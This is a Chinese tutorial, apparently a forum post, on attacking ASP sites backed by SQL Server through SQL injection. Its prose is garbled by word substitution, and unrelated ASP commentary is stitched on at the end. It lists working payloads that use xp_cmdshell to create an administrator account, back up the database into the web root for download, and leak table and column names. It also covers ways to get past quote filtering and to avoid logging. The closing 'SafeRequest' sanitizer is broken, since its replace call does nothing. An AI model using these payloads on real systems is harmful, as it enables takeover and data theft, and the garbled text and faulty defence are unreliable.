ASP网页编程之ASP毛病全打仗-初级篇
ASP由于使用了COM组件所以它会变的十分强大,但是这样的强大由于WindowsNT系统最初的设计问题而会引发大量的安全问题。只要在这样的组件或是操作中一不注意,哪么外部攻击就可以取得相当高的权限而导致网站瘫痪或者数据丢失;初级 看完进门篇和进阶篇后,略加实习,破解一样平常的网站是没成绩了。但假如碰着表名列名猜不到,或程序作者过滤了一些特别字符,怎样进步注进的乐成率?怎样进步猜解效力?请人人接着往下看初级篇。第一节、使用体系表注进SQLServer数据库
SQLServer是一个功效壮大的数据库体系,与操纵体系也有严密的接洽,这给开辟者带来了很年夜的便利,但另外一方面,也为注进者供应了一个跳板,我们先来看看几个详细的例子:
①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--
分号;在SQLServer中暗示离隔前后两句语句,--暗示前面的语句为正文,以是,这句语句在SQLServer中将被分红两句实行,先是Select出ID=1的纪录,然后实行存储历程xp_cmdshell,这个存储历程用于挪用体系命令,因而,用net命令新建了用户名为name、暗码为password的windows的帐号,接着:
②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--
将新建的帐号name到场办理员组,不必两分钟,你已拿到了体系最高权限!固然,这类办法只合用于用sa毗连数据库的情形,不然,是没有权限挪用xp_cmdshell的。
③http://Site/url.asp?id=1;;anddb_name()>0
后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。
④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:inetpubwwwroot1.db’;--
这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。
⑤http://Site/url.asp?id=1;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0
后面说过,sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=’U’andstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是留给我们伶俐的读者思索吧。
⑥http://Site/url.asp?id=1;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
以上6点是我研讨SQLServer注进半年多以来的血汗结晶,能够看出,对SQLServer的懂得水平,间接影响着乐成率及猜解速率。在我研讨SQLServer注进以后,我在开辟方面的程度也失掉很年夜的进步,呵呵,大概平安与开辟原本就是相反相成的吧。
第二节、绕历程序限定持续注进
在进门篇提到,有良多人喜好用’号测试注进毛病,以是也有良多人用过滤’号的办法来“避免”注进毛病,这大概能盖住一些进门者的打击,但对SQL注进对照熟习的人,仍是能够使用相干的函数,到达绕历程序限定的目标。
在“SQL注进的一样平常步骤”一节中,我所用的语句,都是经由我优化,让其不包括有单引号的;在“使用体系表注进SQLServer数据库”中,有些语句包括有’号,我们举个例子来看看怎样改革这些语句:
复杂的如wherextype=’U’,字符U对应的ASCII码是85,以是能够用wherextype=char(85)取代;假如字符是中文的,好比wherename=’用户’,能够用wherename=nchar(29992)+nchar(25143)取代。
第三节、履历小结
1.有些人会过滤Select、Update、Delete这些关头字,但恰恰健忘辨别巨细写,以是人人能够用selecT如许实验一下。
2.在猜不到字段名时,无妨看看网站上的登录表单,通常是了便利起见,字段名都与表单的输出框取不异的名字。
3.出格注重:地点栏的+号传进程序后注释为空格,%2B注释为+号,%25注释为%号,详细能够参考URLEncode的相干先容。
4.用Get办法注进时,IIS会纪录你一切的提交字符串,对Post办法做则不纪录,以是能用Post的网址只管不必Get。
5.猜解Access时只能用Ascii逐字解码法,SQLServer也能够用这类办法,只必要二者之间的区分便可,可是假如能用SQLServer的报错信息把值表露出来,那效力和正确率会有极年夜的进步。
SQL注进毛病可谓是“千里之堤,溃于蚁穴”,这类毛病在网上极其广泛,一般是因为程序员对注进不懂得,大概程序过滤不严厉,大概某个参数健忘反省招致。在这里,我给人人一个函数,取代ASP中的Request函数,能够对统统的SQL注进SayNO,函数以下:
FunctionSafeRequest(ParaName,ParaType)
---传进参数---
ParaName:参数称号-字符型
ParaType:参数范例-数字型(1暗示以上参数是数字,0暗示以上参数为字符)
DimParaValue
ParaValue=Request(ParaName)
IfParaType=1then
IfnotisNumeric(ParaValue)then
Response.write"参数"&ParaName&"必需为数字型!"
Response.end
Endif
Else
ParaValue=replace(ParaValue,"","")
Endif
SafeRequest=ParaValue
Endfunction
asp,你就只能等着微软给你解决,它不乐意你就只好悲催。而且asp跑在windows服务器上,windows服务器跟linux比起来简直弱爆了! ASP.Net和ASP的最大区别在于编程思维的转换,而不仅仅在于功能的增强。ASP使用VBS/JS这样的脚本语言混合html来编程,而那些脚本语言属于弱类型、面向结构的编程语言,而非面向对象,这就明显产生以下几个问题: 完全不知道到底自己学的是什么。最后,除了教程里面说的几个例子,还是什么都不会。 交流是必要的,不管是生活还是学习我们都要试着去交流,通过交流我们可以学到很多我们自己本身所没有的知识,可以分享别人的经验甚至经历。 接下来就不能纸上谈兵了,最好的方法其实是实践。实践,只能算是让你掌握语言特性用的。而提倡做实际的Project也不是太好,因为你还没有熟练的能力去综合各种技术,这样只能使你自己越来越迷糊。 ASP(ActiveServerPages)是Microsfot公司1996年11月推出的WEB应用程序开发技术,它既不是一种程序语言,也不是一种开发工具,而是一种技术框架,不须使用微软的产品就能编写它的代码,能产生和执行动态、交互式、高效率的站占服务器的应用程序。 它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。 它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。
页:
[1]